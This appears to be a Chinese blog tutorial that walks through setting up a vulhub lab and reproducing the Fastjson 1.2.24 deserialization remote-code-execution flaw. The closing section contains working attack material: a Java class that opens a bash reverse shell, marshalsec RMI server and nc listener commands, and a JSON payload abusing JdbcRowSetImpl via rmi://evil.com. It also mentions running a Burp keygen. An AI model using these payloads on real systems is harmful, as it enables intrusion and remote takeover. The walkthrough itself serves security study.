Fastjson 1.2.24漏洞搭建及复现——详解

PS:本文章只用于学习,其他用途与文章无关~

目录

一、配置kali中java环境

 1.下载oracle的jdk1.8.0_202版本

 2.新建jdk1.8目录存放安装包

 3.配置jdk环境变量

 4.替换原open jdk为oracle jdk

 二、安装并使用docker

 1.安装docker

 2.拉取环境

 2.1相关报错及处理

 3.验证环境

 三、安装maven

1.下载安装包

2.新建maven目录存放安装包 

3.配置maven环境变量 

3.1相关报错及处理 

 四、安装RMI服务器

1.下载marshalsec并启动RMI器

 五、漏洞复现

1.编写文件

2.开启python监听 

3.加载远程类

4.开启反弹shell的监听端口 

5. bp安装

6.火狐开启代理抓包 

7.复现结果验证


环境准备:

kali linux:(可以准备一个靶机centos,一个攻击机kali)本文章只基于一个kali-2022.4版本演示

apache-maven

marshalsec-master

jdk1.8

python3(kali自带)

影响版本:

fastjson <= 1.2.24


一、配置kali中java环境

注意:

1.担心配置错误的,可以提前拍摄快照,以便还原!!!

2.网上有删除openjdk再下载oracle jdk的,个人不太建议,会报错,影响后续漏洞复现

1.下载oracle的jdk1.8.0_202版本

🌂下载地址:

# 华为云镜像下载

https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz

# 百度网盘链接

链接:https://pan.baidu.com/s/1Os5BkFvEEuBmTVQgWT0cKw?pwd=sl12 
提取码:sl12 

下载完成后,直接将其复制到kali中 

 2.新建jdk1.8目录存放安装包

🌂在kali中 /usr/local 下新建文件夹 java,存放此安装包,将桌面的jdk-8u202-linux-x64.tar.gz安装包移动到该目录下

1)mkdir -p /usr/local/java                                                 # 创建目录

2)cd Desktop                                                                   # 进入桌面

3)mv jdk-8u202-linux-x64.tar.gz /usr/local/java               # 移动安装包至目录下

 3.配置jdk环境变量

🌂进入目录下,解压此安装包,并配置环境变量

1)cd /usr/local/java

2)tar xzvf jdk-8u202-linux-x64.tar.gz

3)vim /etc/profile               

# 编辑该文件,将下方四行代码输入,jdk存放路径和我不同的自行更改

        JAVA_HOME=/usr/local/java/jdk1.8.0_202

        PATH=$PATH:$HOME/bin:$JAVA_HOME/bin

        export JAVA_HOME

        export PATH

 

 4.替换原open jdk为oracle jdk

🌂更换原有的openjdk为oracle jdk1.8.0_202

1)update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0_202/bin/java 1
2)update-alternatives --install /usr/bin/javac javac /usr/local/java/jdk1.8.0_202/bin/javac 1
3)update-alternatives --set java /usr/local/java/jdk1.8.0_202/bin/java
4)update-alternatives --set javac /usr/local/java/jdk1.8.0_202/bin/javac

                                                  # 存放路径不同的,记得更改~

5)java -version                        # 看是否成功替换为1.8版本

 参考文章:kali安装maven和jdk、解决:bash: mvn: command not found_kali 安装mvn_召唤大白的博客-CSDN博客

 二、安装并使用docker

 1.安装docker

此处就不做过多讲解了,直接上大佬的安装步骤:https://www.cnblogs.com/lijingrong/p/13396884.html

🌂跟着上方教程安装完成,查看docker版本号

1)docker -v 

2)docker-compose -v     

 

 2.拉取环境

🌂进入对应的漏洞环境目录

cd Desktop/vulhub/fastjson/1.2.24-rce

 

🌂启动容器,拉取环境

docker-compose up -d                # 首次拉取会自动下载对应配置,出现done字样即为完成

 2.1相关报错及处理

 若此处出现下图类似报错,则执行下方代码块中命令,然后重新拉取环境即可~(没报错的直接跳过)

1)sudo mkdir -p /etc/docker

2)sudo tee /etc/docker/daemon.json <<-'EOF'

{

  "registry-mirrors": ["https://yxzrazem.mirror.aliyuncs.com"]

}

EOF

3)sudo systemctl daemon-reload

4)sudo systemctl restart docker

 3.验证环境

🌂环境运行完成,有两种验证方式

1)http://your-ip:8090                # 出现json格式的输出,即为成功(下图一)

2)docker ps                              # 下图二

 三、安装maven

 1.下载安装包

🌂下载地址:

Maven – Download Apache Maven

直接下载3.9.3版本安装包

https://dlcdn.apache.org/maven/maven-3/3.9.3/binaries/apache-maven-3.9.3-bin.tar.gz

2.新建maven目录存放安装包 

🌂移动下载的安装包至 /usr/local/maven 目录下, 并解压

3.配置maven环境变量 

🌂配置maven的环境变量,并更新

1)vim /etc/profile                # 将下面三行代码复制到文件内

        MAVEN_HOME=/usr/local/maven/apache-maven-3.9.3
        PATH=$MAVEN_HOME/bin:$PATH
        export MAVEN_HOME PATH

2)source /etc/profile           # 修改后使环境生效

3)update-alternatives --install /usr/bin/mvn mvn /usr/local/maven/apache-maven-3.9.3/bin/mvn 1                   

        # 更新配置(路径和我不同的小伙伴记得更改"/usr.../maven...")

4)mvn -version                   # 查看mvn版本,是否安装成功

 

我这里下载的是3.9.3版本,不知道为什么安装之后显示版本为3.8.7(有知道的可以评论区留言~) 

3.1相关报错及处理 

 此处报错的小伙伴,可以尝试 "rm -rf maven" 删除maven整个目录,然后重新安装(或验证是否执行上方第3步更新命令)

 

 仍然报错的小伙伴可参考:kali安装maven和jdk、解决:bash: mvn: command not found_kali 安装mvn_召唤大白的博客-CSDN博客

 四、安装RMI服务器

1.下载marshalsec并启动RMI器

🌂编译marshalsec项目,启动RMI服务器

1)下载marshalsec

# github下载

https://github.com/mbechler/marshalsec

# 百度网盘直接下载

链接:https://pan.baidu.com/s/1BMtwwRPDMh6ZP1bumRHEwg?pwd=jx3a 
提取码:jx3a 
2)cd /usr/local/marshalsec/marshalsec-master    # 进入目录下

3)mvn clean package -DskipTests                        # 用maven编译marshalsec成jar包

 

 五、漏洞复现

 1.编写文件

🌂使用kali攻击机,编写touchfile.java文件,将如下代码写入,并编译为class文件

1)touch touchfile.java

2)vim touchfile.java                # 不要直接执行第三步,看好代码输入完成再往下走

3)javac touchfile.java

import java.lang.Runtime;
import java.lang.Process;

public class touchfile{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/攻击者ip/攻击者nc监听端口 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

 

2.开启python监听 

🌂kali攻击机开启python服务,监听端口              # 注意python版本,执行对应命令

python3 -m http.server 8089                                  # python3使用的命令

python -m SimpleHTTPServer                               # python2使用的命令

 

 3.加载远程类

🌂kali攻击机使用marshalsec项目,启动RMI服务器,监听端口9999,同时指定加载远程类touchfile.class

# 进入marshalsec-master目录下的target目录下执行,marshalsec是安装RMI的那个目录,target是编译后的目录

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip:1111/#touchfile" 9999

4.开启反弹shell的监听端口 

🌂攻击机开启监听6666端口

nc -lvnp 6666

5. bp安装

🌂使用kali自带的bp或自己安装想要使用的bp版本,此处演示bp1.7.37安装

1)将文件夹复制至kali靶机中

2)java -jar burp-loader-keygen.jar                # 第一次安装会弹出下图2窗口

3)跟着下方图片步骤一步步操作

6.火狐开启代理抓包 

🌂进入kali自带的火狐游览器,更改设置,开启代理,端口为bp的8080

 记着把bp的拦截开启,此时可以抓到包

🌂发送给repeater,修改参数,进行测试

 

POST / HTTP/1.1
Host:your-ip:8090
Accept-Encoding:gzip,deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/touchfile",
        "autoCommit":true
    }
}

 7.复现结果验证

使用marshalse工具快捷的开启RMI服务,借助RMI服务将RMI reference result 成功重定向到web服务器

靶机成功访问攻击机开启的web服务,可以下载touchfile.class恶意文件

 攻击机监听的6666端口成功收到反弹的shell

 至此,复现结束~

总结:复现过程中,会出现各种各样报错,小伙伴多找网上文章解决,本文仅作参考。

PS:文章对小伙伴有帮助的话,点赞支持下吧~欢迎各位师傅批评指正

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学习的小白_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值